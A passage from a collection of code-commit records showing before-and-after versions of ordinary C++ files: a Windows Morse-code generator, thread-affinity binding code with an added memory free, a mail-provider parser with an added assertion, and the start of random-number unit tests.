stdout);\n  }\n  \/\/ Argument num error check proc.\n  if (__argc <= 1) {\n    if (no_console) {\n      mk::DialogError(L\"No arguments specified\");\n      return -1;\n    } else {\n      mk::PrintError(L\"No arguments specified\");\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ Help option proc.\n  if (help_required) {\n    if (no_console) {\n      mk::DialogError(L\"You must not set -nowindow option to show help\");\n      return 0;\n    } else {\n      wprintf(APP_NAME);\n      wprintf(L\"\\n\");\n      wprintf(L\"options:\\n\");\n      for (int i = 0; i < ELEMNUM_OPTIONS; ++i) {\n        wprintf(L\"%s:\\t%s\\n\", kOptions[i], kHelp[i]);\n      }\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ String error proc.\n  if (play_command_line_string == false) {\n    if (no_console) {\n      mk::DialogError(L\"No input string\");\n      return -1;\n    } else {\n      mk::PrintError(L\"No input string\");\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ Morse generation proc.\n  int length = 0;\n  for (int i = string_argc_offset; i < __argc; ++i) {\n    length = wcslen(__wargv[i]);\n    for (int j = 0; j < length; ++j) {\n      mk::ShowAndPlay(&morse_player, __wargv[i][j]);\n      mk::ShowAndPlay(&morse_player, L' ');\n    }\n    if (i != (__argc - 1)) {  \/\/ Word separator.\n      mk::ShowAndPlay(&morse_player, L' ');\n      mk::ShowAndPlay(&morse_player, L' ');\n      mk::ShowAndPlay(&morse_player, L' ');\n    }\n  }\n  \/\/ Normal exit proc.\n  if (!no_console) {\n    system(\"PAUSE\");\n    FreeConsole();\n  }\n  morse_player.Finalize();\n  device.Finalize();\n  return 0;\n\nERROR_EXIT:\n  \/\/ Error exit proc.\n  if (!no_console) {\n    system(\"PAUSE\");\n    FreeConsole();\n  }\n  morse_player.Finalize();\n  device.Finalize();\n  return -1;\n}\n<commit_msg>Return charactor to consale before PAUSE<commit_after>﻿\/\/ @file main.cc\n\/\/ @brief Morse code generator\n\/\/ @author Mamoru Kaminaga\n\/\/ @date 2016-05-15 12:08:31\n\/\/ Copyright 2016 Mamoru Kaminaga\n#include <wchar.h>\n#include <windows.h>\n#include <stdio.h>\n#include \"common.h\"\n#include \"morse_player.h\"\n#include \"resource.h\"\n#include \"sound_device.h\"\n#define WINDOW_STYLE    (WS_POPUP|WS_CAPTION|WS_SYSMENU|WS_MINIMIZEBOX)\nenum OPTIONS {\n  OPTION_HELP = 0,\n  OPTION_STRING,\n  OPTION_NOWINDOW,\n  OPTION_NOSOUND,\n  OPTION_WPM,\n  OPTION_PARIS,\n  ELEMNUM_OPTIONS, \/\/ Array size.\n};\nconst wchar_t kOptions[ELEMNUM_OPTIONS][16] = {\n  L\"-help\",        \/\/ OPTION_HELP\n  L\"-s\",           \/\/ OPTION_STRING\n  L\"-nowindow\",    \/\/ OPTION_NOWINDOW\n  L\"-nosound\",     \/\/ OPTION_NOSOUND\n  L\"-wpm\",         \/\/ OPTION_WPM\n  L\"-paris\",       \/\/ OPTION_PARIS\n};\nconst wchar_t kHelp[ELEMNUM_OPTIONS][64] = {\n  L\"Show help\",                        \/\/ OPTION_HELP\n  L\"Input string to be morse signal\",  \/\/ OPTION_STRING\n  L\"Not show output console\",          \/\/ OPTION_NOWINDOW\n  L\"Not play midi sound\",              \/\/ OPTION_NOSOUND\n  L\"Set WPM, default is 20\",           \/\/ OPTION_WPM\n  L\"Set PARIS, default is 20\",         \/\/ OPTION_PARIS\n};\nbool help_required = false;\nbool no_console = false;\nbool no_sound = false;\nbool play_command_line_string = false;\nint string_argc_offset = 0;\nnamespace mk {\nvoid ShowAndPlay(MorsePlayer* morse_player, wchar_t charactor) {\n  int morse_code = 0;\n  switch (charactor) {\n    case L'a': case L'A': morse_code = MORSE_A; break;\n    case L'b': case L'B': morse_code = MORSE_B; break;\n    case L'c': case L'C': morse_code = MORSE_C; break;\n    case L'd': case L'D': morse_code = MORSE_D; break;\n    case L'e': case L'E': morse_code = MORSE_E; break;\n    case L'f': case L'F': morse_code = MORSE_F; break;\n    case L'g': case L'G': morse_code = MORSE_G; break;\n    case L'h': case L'H': morse_code = MORSE_H; break;\n    case L'i': case L'I': morse_code = MORSE_I; break;\n    case L'j': case L'J': morse_code = MORSE_J; break;\n    case L'k': case L'K': morse_code = MORSE_K; break;\n    case L'l': case L'L': morse_code = MORSE_L; break;\n    case L'm': case L'M': morse_code = MORSE_M; break;\n    case L'n': case L'N': morse_code = MORSE_N; break;\n    case L'o': case L'O': morse_code = MORSE_O; break;\n    case L'p': case L'P': morse_code = MORSE_P; break;\n    case L'q': case L'Q': morse_code = MORSE_Q; break;\n    case L'r': case L'R': morse_code = MORSE_R; break;\n    case L's': case L'S': morse_code = MORSE_S; break;\n    case L't': case L'T': morse_code = MORSE_T; break;\n    case L'u': case L'U': morse_code = MORSE_U; break;\n    case L'v': case L'V': morse_code = MORSE_V; break;\n    case L'w': case L'W': morse_code = MORSE_W; break;\n    case L'x': case L'X': morse_code = MORSE_X; break;\n    case L'y': case L'Y': morse_code = MORSE_Y; break;\n    case L'z': case L'Z': morse_code = MORSE_Z; break;\n    case L'1': morse_code = MORSE_1; break;\n    case L'2': morse_code = MORSE_2; break;\n    case L'3': morse_code = MORSE_3; break;\n    case L'4': morse_code = MORSE_4; break;\n    case L'5': morse_code = MORSE_5; break;\n    case L'6': morse_code = MORSE_6; break;\n    case L'7': morse_code = MORSE_7; break;\n    case L'8': morse_code = MORSE_8; break;\n    case L'9': morse_code = MORSE_9; break;\n    case L'0': morse_code = MORSE_0; break;\n    case L'.': morse_code = MORSE_PER; break;\n    case L',': morse_code = MORSE_COM; break;\n    case L'?': morse_code = MORSE_QUE; break;\n    case L'-': morse_code = MORSE_HIF; break;\n    case L'\/': morse_code = MORSE_SLA; break;\n    case L'@': morse_code = MORSE_ATM; break;\n    case L' ': morse_code = MORSE_SPACE; break;\n    default: morse_code = MORSE_UNKNOWN; break;\n  }\n  \/\/ Morse shown to console.\n  if (!no_console) morse_player->ShowSimbol(morse_code);\n  \/\/ Sound played by device.\n  if (!no_sound) morse_player->PlaySound(morse_code);\n}\n\/\/ Void callback function.\nLRESULT CALLBACK WndProc(HWND wnd, UINT msg, WPARAM wp, LPARAM lp) {\n  \/\/ Prevent warnings for unreferenced parameters.\n  UNREFERENCED_PARAMETER(wnd);\n  UNREFERENCED_PARAMETER(wp);\n  UNREFERENCED_PARAMETER(lp);\n  switch (msg) {\n    case WM_DESTROY:\n      PostQuitMessage(0);\n      break;\n    default:\n      break;\n  }\n  return DefWindowProc(wnd, msg, wp, lp);\n}\n\/\/ Window is required to set icom on win32 application.\nHWND CreateInvisibleWindow(HINSTANCE instance_handle) {\n  WNDCLASSEX wcex;\n  \/\/ Window class registered.\n  memset(&wcex, 0, sizeof(wcex));\n  wcex.cbSize = sizeof(wcex);\n  wcex.style = CS_HREDRAW | CS_VREDRAW;\n  wcex.lpfnWndProc = WndProc;\n  wcex.cbClsExtra = 0;\n  wcex.cbWndExtra = 0;\n  wcex.hInstance = instance_handle;\n  wcex.hCursor = LoadCursor(NULL, IDC_ARROW);\n  wcex.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1);\n  wcex.lpszMenuName = NULL;\n  wcex.lpszClassName = APP_NAME;\n  wcex.hIcon = LoadIcon(instance_handle, MAKEINTRESOURCE(IDI_ICON1));\n  wcex.hIconSm = LoadIcon(instance_handle, MAKEINTRESOURCE(IDI_ICON1));\n  if (RegisterClassEx(&wcex) == 0) return false;\n  \/\/ Invisible window created.\n  return CreateWindow(APP_NAME, APP_NAME, WINDOW_STYLE, CW_USEDEFAULT,\n                      CW_USEDEFAULT, 256, 256, NULL, NULL, instance_handle,\n                      NULL);\n}\n}  \/\/ namespace mk\nint WINAPI wWinMain(HINSTANCE instance_handle, HINSTANCE not_used,\n                    LPTSTR cmd_lind, int cmd_show) {\n  \/\/ Prevent warnings for unreferenced parameters.\n  UNREFERENCED_PARAMETER(instance_handle);\n  UNREFERENCED_PARAMETER(not_used);\n  UNREFERENCED_PARAMETER(cmd_lind);\n  UNREFERENCED_PARAMETER(cmd_show);\n  \/\/\n  HWND window_handle = mk::CreateInvisibleWindow(instance_handle);\n  mk::SoundDevice device(window_handle);\n  device.Initialize();\n  mk::MorsePlayer morse_player(&device);\n  morse_player.Initialize();\n  morse_player.dot_ms_ = 60;\n  \/\/ Command line args proc.\n  for (int i = 1; i < __argc; ++i) {\n    for (int j = 0; j < ELEMNUM_OPTIONS; ++j) {\n      if (wcscmp(__wargv[i], kOptions[j]) == 0) {\n        switch (j) {\n          case OPTION_HELP:\n            help_required = true;\n            break;\n          case OPTION_NOWINDOW:\n            no_console = true;\n            break;\n          case OPTION_NOSOUND:\n            no_sound = true;\n            break;\n          case OPTION_WPM:  \/\/ Same as OPTION_PARIS\n          case OPTION_PARIS:\n            \/\/ wpm (paris) -> dot millis\n            morse_player.dot_ms_ = 60000 \/ (_wtoi(__wargv[i + 1]) * 50);\n            break;\n          case OPTION_STRING:\n            play_command_line_string = true;\n            string_argc_offset = i + 1;\n          default:\n            break;\n        }\n      }\n    }\n  }\n  \/\/ Console proc.\n  if (!no_console) {\n    if (!AttachConsole(ATTACH_PARENT_PROCESS)) AllocConsole();\n    freopen(\"CON\", \"r\", stdin);\n    freopen(\"CON\", \"w\", stdout);\n  }\n  \/\/ Argument num error check proc.\n  if (__argc <= 1) {\n    if (no_console) {\n      mk::DialogError(L\"No arguments specified\");\n      return -1;\n    } else {\n      mk::PrintError(L\"No arguments specified\");\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ Help option proc.\n  if (help_required) {\n    if (no_console) {\n      mk::DialogError(L\"You must not set -nowindow option to show help\");\n      return 0;\n    } else {\n      wprintf(APP_NAME);\n      wprintf(L\"\\n\");\n      wprintf(L\"options:\\n\");\n      for (int i = 0; i < ELEMNUM_OPTIONS; ++i) {\n        wprintf(L\"%s:\\t%s\\n\", kOptions[i], kHelp[i]);\n      }\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ String error proc.\n  if (play_command_line_string == false) {\n    if (no_console) {\n      mk::DialogError(L\"No input string\");\n      return -1;\n    } else {\n      mk::PrintError(L\"No input string\");\n      goto ERROR_EXIT;\n    }\n  }\n  \/\/ Morse generation proc.\n  int length = 0;\n  for (int i = string_argc_offset; i < __argc; ++i) {\n    length = wcslen(__wargv[i]);\n    for (int j = 0; j < length; ++j) {\n      mk::ShowAndPlay(&morse_player, __wargv[i][j]);\n      mk::ShowAndPlay(&morse_player, L' ');\n    }\n    if (i != (__argc - 1)) {  \/\/ Word separator.\n      mk::ShowAndPlay(&morse_player, L' ');\n      mk::ShowAndPlay(&morse_player, L' ');\n      mk::ShowAndPlay(&morse_player, L' ');\n    }\n  }\n  \/\/ Normal exit proc.\n  if (!no_console) {\n    wprintf(L\"\\n\");\n    system(\"PAUSE\");\n    FreeConsole();\n  }\n  morse_player.Finalize();\n  device.Finalize();\n  return 0;\n\nERROR_EXIT:\n  \/\/ Error exit proc.\n  if (!no_console) {\n    wprintf(L\"\\n\");\n    system(\"PAUSE\");\n    FreeConsole();\n  }\n  morse_player.Finalize();\n  device.Finalize();\n  return -1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * File: src\/commonpp\/thread\/detail\/Core.cpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2016 Thomas Sanchez.  All rights reserved.\n *\n *\/\n\n#include \"logger.hpp\"\n#include \"Core.hpp\"\n\nnamespace commonpp\n{\nnamespace thread\n{\nnamespace detail\n{\n\nCore::Core(hwloc_topology_t& topology, hwloc_obj_t core)\n: topology_(topology)\n, core_(core)\n{}\n\nhwloc_cpuset_t const& Core::cpuset() const\n{\n    return core_->cpuset;\n}\n\nbool Core::bind(std::thread& thread)\n{\n    auto cpuset = hwloc_bitmap_dup(core_->cpuset);\n    hwloc_bitmap_singlify(cpuset);\n\n    if (hwloc_set_thread_cpubind(topology_, thread.native_handle(), cpuset, 0))\n    {\n        auto error = errno;\n        LOG(thread_logger, warning) << \"Error setting thread affinity: \"\n                                    << strerror(error);\n        return false;\n    }\n\n    return true;\n}\n\nbool Core::bind()\n{\n    auto cpuset = hwloc_bitmap_dup(core_->cpuset);\n    hwloc_bitmap_singlify(cpuset);\n\n    if (hwloc_set_cpubind(topology_, cpuset, 0))\n    {\n        auto error = errno;\n        LOG(thread_logger, warning) << \"Error setting thread affinity: \"\n                                    << strerror(error);\n        return false;\n    }\n\n    return true;\n}\n\n} \/\/ namespace detail\n} \/\/ namespace thread\n} \/\/ namespace commonpp\n<commit_msg>Add forgotten free<commit_after>\/*\n * File: src\/commonpp\/thread\/detail\/Core.cpp\n * Part of commonpp.\n *\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * project root).\n *\n * Copyright (c) 2016 Thomas Sanchez.  All rights reserved.\n *\n *\/\n\n#include \"logger.hpp\"\n#include \"Core.hpp\"\n\nnamespace commonpp\n{\nnamespace thread\n{\nnamespace detail\n{\n\nCore::Core(hwloc_topology_t& topology, hwloc_obj_t core)\n: topology_(topology)\n, core_(core)\n{}\n\nhwloc_cpuset_t const& Core::cpuset() const\n{\n    return core_->cpuset;\n}\n\nbool Core::bind(std::thread& thread)\n{\n    auto cpuset = hwloc_bitmap_dup(core_->cpuset);\n    hwloc_bitmap_singlify(cpuset);\n\n    if (hwloc_set_thread_cpubind(topology_, thread.native_handle(), cpuset, 0))\n    {\n        auto error = errno;\n        LOG(thread_logger, warning) << \"Error setting thread affinity: \"\n                                    << strerror(error);\n        hwloc_bitmap_free(cpuset);\n        return false;\n    }\n\n    hwloc_bitmap_free(cpuset);\n    return true;\n}\n\nbool Core::bind()\n{\n    auto cpuset = hwloc_bitmap_dup(core_->cpuset);\n    hwloc_bitmap_singlify(cpuset);\n\n    if (hwloc_set_cpubind(topology_, cpuset, 0))\n    {\n        auto error = errno;\n        LOG(thread_logger, warning) << \"Error setting thread affinity: \"\n                                    << strerror(error);\n        hwloc_bitmap_free(cpuset);\n        return false;\n    }\n\n    hwloc_bitmap_free(cpuset);\n    return true;\n}\n\n} \/\/ namespace detail\n} \/\/ namespace thread\n} \/\/ namespace commonpp\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  MCMailProvider.cpp\n\/\/  mailcore2\n\/\/\n\/\/  Created by Robert Widmann on 4\/28\/13.\n\/\/  Copyright (c) 2013 MailCore. All rights reserved.\n\/\/\n\n#include \"MCMailProvider.h\"\n#include \"MCNetService.h\"\n#include \"MCIterator.h\"\n#include \"MCJSON.h\"\n\n#include <regex.h>\n\nusing namespace mailcore;\n\nvoid MailProvider::init()\n{\n    mIdentifier = NULL;\n    mImapServices = new Array();\n    mSmtpServices = new Array();\n    mPopServices = new Array();\n    mDomainMatch = new Array();\n    mMxSet = new Set();\n    mMailboxPaths = NULL;\n}\n\nMailProvider::MailProvider()\n{\n    init();\n}\n\nMailProvider::MailProvider(MailProvider * other)\n{\n    init();\n    MC_SAFE_REPLACE_COPY(String, mIdentifier, other->mIdentifier);\n    MC_SAFE_REPLACE_COPY(Array, mImapServices, other->mImapServices);\n    MC_SAFE_REPLACE_COPY(Array, mSmtpServices, other->mSmtpServices);\n    MC_SAFE_REPLACE_COPY(Array, mPopServices, other->mPopServices);\n    MC_SAFE_REPLACE_COPY(Array, mDomainMatch, other->mDomainMatch);\n    MC_SAFE_REPLACE_COPY(Set, mMxSet, other->mMxSet);\n    MC_SAFE_REPLACE_COPY(HashMap, mMailboxPaths, other->mMailboxPaths);\n}\n\nMailProvider::~MailProvider()\n{\n    MC_SAFE_RELEASE(mImapServices);\n    MC_SAFE_RELEASE(mSmtpServices);\n    MC_SAFE_RELEASE(mPopServices);\n    MC_SAFE_RELEASE(mMxSet);\n    MC_SAFE_RELEASE(mDomainMatch);\n    MC_SAFE_RELEASE(mMailboxPaths);\n    MC_SAFE_RELEASE(mIdentifier);\n}\n\nMailProvider * MailProvider::providerWithInfo(HashMap * info)\n{\n    MailProvider * provider = new MailProvider();\n    provider->fillWithInfo(info);\n    provider->autorelease();\n    return provider;\n}\n\nvoid MailProvider::fillWithInfo(HashMap * info)\n{\n    Array * imapInfos;\n    Array * smtpInfos;\n    Array * popInfos;\n    HashMap * serverInfo;\n    Array * mxs;\n    \n    MC_SAFE_RELEASE(mDomainMatch);\n    if (info->objectForKey(MCSTR(\"domain-match\")) != NULL) {\n        mDomainMatch = (Array *) info->objectForKey(MCSTR(\"domain-match\"))->retain();\n    }\n    MC_SAFE_RELEASE(mMailboxPaths);\n    if (info->objectForKey(MCSTR(\"mailboxes\")) != NULL) {\n        mMailboxPaths = (HashMap *) info->objectForKey(MCSTR(\"mailboxes\"))->retain();\n    }\n    mxs = (Array *) info->objectForKey(MCSTR(\"mx\"));\n    mMxSet->removeAllObjects();\n    mc_foreacharray(String, mx, mxs) {\n        mMxSet->addObject(mx->lowercaseString());\n    }\n    \n    serverInfo = (HashMap *) info->objectForKey(MCSTR(\"servers\"));\n    imapInfos = (Array *) serverInfo->objectForKey(MCSTR(\"imap\"));\n    smtpInfos = (Array *) serverInfo->objectForKey(MCSTR(\"smtp\"));\n    popInfos = (Array *) serverInfo->objectForKey(MCSTR(\"pop\"));\n    \n    mImapServices->removeAllObjects();\n    mc_foreacharray(HashMap, imapInfo, imapInfos) {\n        NetService * service = NetService::serviceWithInfo(imapInfo);\n        mImapServices->addObject(service);\n    }\n    \n    mSmtpServices->removeAllObjects();\n    mc_foreacharray(HashMap, smtpInfo, smtpInfos) {\n        NetService * service = NetService::serviceWithInfo(smtpInfo);\n        mSmtpServices->addObject(service);\n    }\n    \n    mPopServices->removeAllObjects();\n    mc_foreacharray(HashMap, popInfo, popInfos) {\n        NetService * service = NetService::serviceWithInfo(popInfo);\n        mPopServices->addObject(service);\n    }\n}\n\nvoid MailProvider::setIdentifier(String * identifier)\n{\n    MC_SAFE_REPLACE_COPY(String, mIdentifier, identifier);\n}\n\nString * MailProvider::identifier()\n{\n    return mIdentifier;\n}\n\nArray * MailProvider::imapServices()\n{\n    return mImapServices;\n}\n\nArray * MailProvider::smtpServices()\n{\n    return mSmtpServices;\n}\n\nArray * MailProvider::popServices()\n{\n    return mPopServices;\n}\n\nbool MailProvider::matchEmail(String * email)\n{\n    Array * components;\n    String * domain;\n    const char * cDomain;\n    \n    components = email->componentsSeparatedByString(MCSTR(\"@\"));\n    if (components->count() < 2)\n        return false;\n    \n    domain = (String *) components->lastObject();\n    cDomain = domain->UTF8Characters();\n    \t\n    mc_foreacharray(String, match, mDomainMatch) {\n        regex_t r;\n        bool matched;\n        \n        match = String::stringWithUTF8Format(\"^%s$\", match->UTF8Characters());\n        if (regcomp(&r, match->UTF8Characters(), REG_EXTENDED | REG_ICASE | REG_NOSUB) != 0)\n            continue;\n        \n        matched = false;\n        if (regexec(&r, cDomain, 0, NULL, 0) == 0) {\n            matched = true;\n        }\n        \n        regfree(&r);\n        \n        if (matched)\n            return true;\n    }\n    \n    return false;\n}\n\nbool MailProvider::matchMX(String * hostname)\n{\n    return mMxSet->containsObject(hostname->lowercaseString());\n}\n\nString * MailProvider::sentMailFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"sentmail\"));\n}\n\nString * MailProvider::starredFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"starred\"));\n}\n\nString * MailProvider::allMailFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"allmail\"));\n}\n\nString * MailProvider::trashFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"trash\"));\n}\n\nString * MailProvider::draftsFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"drafts\"));\n}\n\nString * MailProvider::spamFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"spam\"));\n}\n\nString * MailProvider::importantFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"important\"));\n}\n\nbool MailProvider::isMainFolder(String * folderPath, String * prefix)\n{\n    mc_foreachhashmapValue(String, path, mMailboxPaths) {\n        String * fullPath;\n        \n        if (prefix != NULL) {\n            fullPath = prefix->stringByAppendingString((String *) path);\n        }\n        else {\n            fullPath = path;\n        }\n        \n        if (fullPath->isEqual(folderPath))\n            return true;\n    }\n    \n    return false;\n}\n\nString * MailProvider::description()\n{       \n    return String::stringWithUTF8Format(\"<%s:%p, %s>\", className()->UTF8Characters(), this, MCUTF8(mIdentifier));\n}\n\nObject * MailProvider::copy()\n{\n    return new MailProvider(this);\n}\n\n<commit_msg>Added assert in provider parser<commit_after>\/\/\n\/\/  MCMailProvider.cpp\n\/\/  mailcore2\n\/\/\n\/\/  Created by Robert Widmann on 4\/28\/13.\n\/\/  Copyright (c) 2013 MailCore. All rights reserved.\n\/\/\n\n#include \"MCMailProvider.h\"\n#include \"MCNetService.h\"\n#include \"MCIterator.h\"\n#include \"MCJSON.h\"\n\n#include <regex.h>\n\nusing namespace mailcore;\n\nvoid MailProvider::init()\n{\n    mIdentifier = NULL;\n    mImapServices = new Array();\n    mSmtpServices = new Array();\n    mPopServices = new Array();\n    mDomainMatch = new Array();\n    mMxSet = new Set();\n    mMailboxPaths = NULL;\n}\n\nMailProvider::MailProvider()\n{\n    init();\n}\n\nMailProvider::MailProvider(MailProvider * other)\n{\n    init();\n    MC_SAFE_REPLACE_COPY(String, mIdentifier, other->mIdentifier);\n    MC_SAFE_REPLACE_COPY(Array, mImapServices, other->mImapServices);\n    MC_SAFE_REPLACE_COPY(Array, mSmtpServices, other->mSmtpServices);\n    MC_SAFE_REPLACE_COPY(Array, mPopServices, other->mPopServices);\n    MC_SAFE_REPLACE_COPY(Array, mDomainMatch, other->mDomainMatch);\n    MC_SAFE_REPLACE_COPY(Set, mMxSet, other->mMxSet);\n    MC_SAFE_REPLACE_COPY(HashMap, mMailboxPaths, other->mMailboxPaths);\n}\n\nMailProvider::~MailProvider()\n{\n    MC_SAFE_RELEASE(mImapServices);\n    MC_SAFE_RELEASE(mSmtpServices);\n    MC_SAFE_RELEASE(mPopServices);\n    MC_SAFE_RELEASE(mMxSet);\n    MC_SAFE_RELEASE(mDomainMatch);\n    MC_SAFE_RELEASE(mMailboxPaths);\n    MC_SAFE_RELEASE(mIdentifier);\n}\n\nMailProvider * MailProvider::providerWithInfo(HashMap * info)\n{\n    MailProvider * provider = new MailProvider();\n    provider->fillWithInfo(info);\n    provider->autorelease();\n    return provider;\n}\n\nvoid MailProvider::fillWithInfo(HashMap * info)\n{\n    Array * imapInfos;\n    Array * smtpInfos;\n    Array * popInfos;\n    HashMap * serverInfo;\n    Array * mxs;\n    \n    MC_SAFE_RELEASE(mDomainMatch);\n    if (info->objectForKey(MCSTR(\"domain-match\")) != NULL) {\n        mDomainMatch = (Array *) info->objectForKey(MCSTR(\"domain-match\"))->retain();\n    }\n    MC_SAFE_RELEASE(mMailboxPaths);\n    if (info->objectForKey(MCSTR(\"mailboxes\")) != NULL) {\n        mMailboxPaths = (HashMap *) info->objectForKey(MCSTR(\"mailboxes\"))->retain();\n    }\n    mxs = (Array *) info->objectForKey(MCSTR(\"mx\"));\n    mMxSet->removeAllObjects();\n    mc_foreacharray(String, mx, mxs) {\n        mMxSet->addObject(mx->lowercaseString());\n    }\n    \n    serverInfo = (HashMap *) info->objectForKey(MCSTR(\"servers\"));\n    if (serverInfo == NULL) {\n        MCLog(\"servers key missing from provider %s\", MCUTF8DESC(info));\n    }\n    MCAssert(serverInfo != NULL);\n    imapInfos = (Array *) serverInfo->objectForKey(MCSTR(\"imap\"));\n    smtpInfos = (Array *) serverInfo->objectForKey(MCSTR(\"smtp\"));\n    popInfos = (Array *) serverInfo->objectForKey(MCSTR(\"pop\"));\n    \n    mImapServices->removeAllObjects();\n    mc_foreacharray(HashMap, imapInfo, imapInfos) {\n        NetService * service = NetService::serviceWithInfo(imapInfo);\n        mImapServices->addObject(service);\n    }\n    \n    mSmtpServices->removeAllObjects();\n    mc_foreacharray(HashMap, smtpInfo, smtpInfos) {\n        NetService * service = NetService::serviceWithInfo(smtpInfo);\n        mSmtpServices->addObject(service);\n    }\n    \n    mPopServices->removeAllObjects();\n    mc_foreacharray(HashMap, popInfo, popInfos) {\n        NetService * service = NetService::serviceWithInfo(popInfo);\n        mPopServices->addObject(service);\n    }\n}\n\nvoid MailProvider::setIdentifier(String * identifier)\n{\n    MC_SAFE_REPLACE_COPY(String, mIdentifier, identifier);\n}\n\nString * MailProvider::identifier()\n{\n    return mIdentifier;\n}\n\nArray * MailProvider::imapServices()\n{\n    return mImapServices;\n}\n\nArray * MailProvider::smtpServices()\n{\n    return mSmtpServices;\n}\n\nArray * MailProvider::popServices()\n{\n    return mPopServices;\n}\n\nbool MailProvider::matchEmail(String * email)\n{\n    Array * components;\n    String * domain;\n    const char * cDomain;\n    \n    components = email->componentsSeparatedByString(MCSTR(\"@\"));\n    if (components->count() < 2)\n        return false;\n    \n    domain = (String *) components->lastObject();\n    cDomain = domain->UTF8Characters();\n    \t\n    mc_foreacharray(String, match, mDomainMatch) {\n        regex_t r;\n        bool matched;\n        \n        match = String::stringWithUTF8Format(\"^%s$\", match->UTF8Characters());\n        if (regcomp(&r, match->UTF8Characters(), REG_EXTENDED | REG_ICASE | REG_NOSUB) != 0)\n            continue;\n        \n        matched = false;\n        if (regexec(&r, cDomain, 0, NULL, 0) == 0) {\n            matched = true;\n        }\n        \n        regfree(&r);\n        \n        if (matched)\n            return true;\n    }\n    \n    return false;\n}\n\nbool MailProvider::matchMX(String * hostname)\n{\n    return mMxSet->containsObject(hostname->lowercaseString());\n}\n\nString * MailProvider::sentMailFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"sentmail\"));\n}\n\nString * MailProvider::starredFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"starred\"));\n}\n\nString * MailProvider::allMailFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"allmail\"));\n}\n\nString * MailProvider::trashFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"trash\"));\n}\n\nString * MailProvider::draftsFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"drafts\"));\n}\n\nString * MailProvider::spamFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"spam\"));\n}\n\nString * MailProvider::importantFolderPath()\n{\n    return (String *) mMailboxPaths->objectForKey(MCSTR(\"important\"));\n}\n\nbool MailProvider::isMainFolder(String * folderPath, String * prefix)\n{\n    mc_foreachhashmapValue(String, path, mMailboxPaths) {\n        String * fullPath;\n        \n        if (prefix != NULL) {\n            fullPath = prefix->stringByAppendingString((String *) path);\n        }\n        else {\n            fullPath = path;\n        }\n        \n        if (fullPath->isEqual(folderPath))\n            return true;\n    }\n    \n    return false;\n}\n\nString * MailProvider::description()\n{       \n    return String::stringWithUTF8Format(\"<%s:%p, %s>\", className()->UTF8Characters(), this, MCUTF8(mIdentifier));\n}\n\nObject * MailProvider::copy()\n{\n    return new MailProvider(this);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef NOGTEST\n\n\/*\n * AuxGTest.cpp\n *\n *  Created on: 10.01.2013\n *      Author: Christian Staudt (christian.staudt@kit.edu)\n *\/\n\n#include \"AuxGTest.h\"\n\n#include <iostream>\n#include <algorithm>\n#include <chrono>\n#include <thread>\n\n#include \"..\/Log.h\"\n#include \"..\/Random.h\"\n#include \"..\/Timer.h\"\n#include \"..\/MissingMath.h\"\n#include \"..\/PrioQueue.h\"\n\nTEST_F(AuxGTest, produceRandomIntegers) {\n\tint64_t l = 0; \t\/\/ lower bound\n\tint64_t u = 100;\t\/\/ upper bound\n\n\tfor (int i = 0; i < 100; ++i) {\n\t\tTRACE(Aux::Random::integer(l, u));\n\t}\n}\n\nTEST_F(AuxGTest, testRandomInteger) {\n\tint64_t l = 0; \t\/\/ lower bound\n\tint64_t u = 10;\t\/\/ upper bound\n\tstd::vector<int64_t> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tint64_t r = Aux::Random::integer(l, u);\n\t\tassert(l <= r);\n\t\tassert(r <= u);\n\t\trVector.push_back(r);\n\t}\n\n\tint64_t minR = *(min_element(rVector.begin(), rVector.end()));\n\tint64_t maxR = *(max_element(rVector.begin(), rVector.end()));\n\n\tEXPECT_EQ(minR, l);\n\tEXPECT_EQ(maxR, u);\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), uint64_t{0});\n\tdouble avg = sum \/ n;\n\n\n\tDEBUG(\"avg rand integer: \", avg);\n\tEXPECT_LE(avg, 6.0);\n\tEXPECT_GE(avg, 4.0);\n}\n\nTEST_F(AuxGTest, testRandomReal) {\n\tstd::vector<double> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tdouble r = Aux::Random::real();\n\t\tassert(0.0 <= r);\n\t\tassert(r < 1.0);\n\t\trVector.push_back(r);\n\t}\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), 0.0);\n\tdouble avg = sum \/ n;\n\n\n\tDEBUG(\"avg rand probability: \", avg);\n\tEXPECT_LE(avg, 0.6);\n\tEXPECT_GE(avg, 0.4);\n}\n\nTEST_F(AuxGTest, testRandomProbability) {\n\tstd::vector<double> rVector;\n\tint n = 1000;\n\tfor (int i = 0; i < n; ++i) {\n\t\tdouble r = Aux::Random::probability();\n\t\tassert(0.0 <= r);\n\t\tassert(r <= 1.0);\n\t\trVector.push_back(r);\n\t}\n\n\tdouble sum = std::accumulate(rVector.begin(), rVector.end(), 0.0);\n\tdouble avg = sum \/ 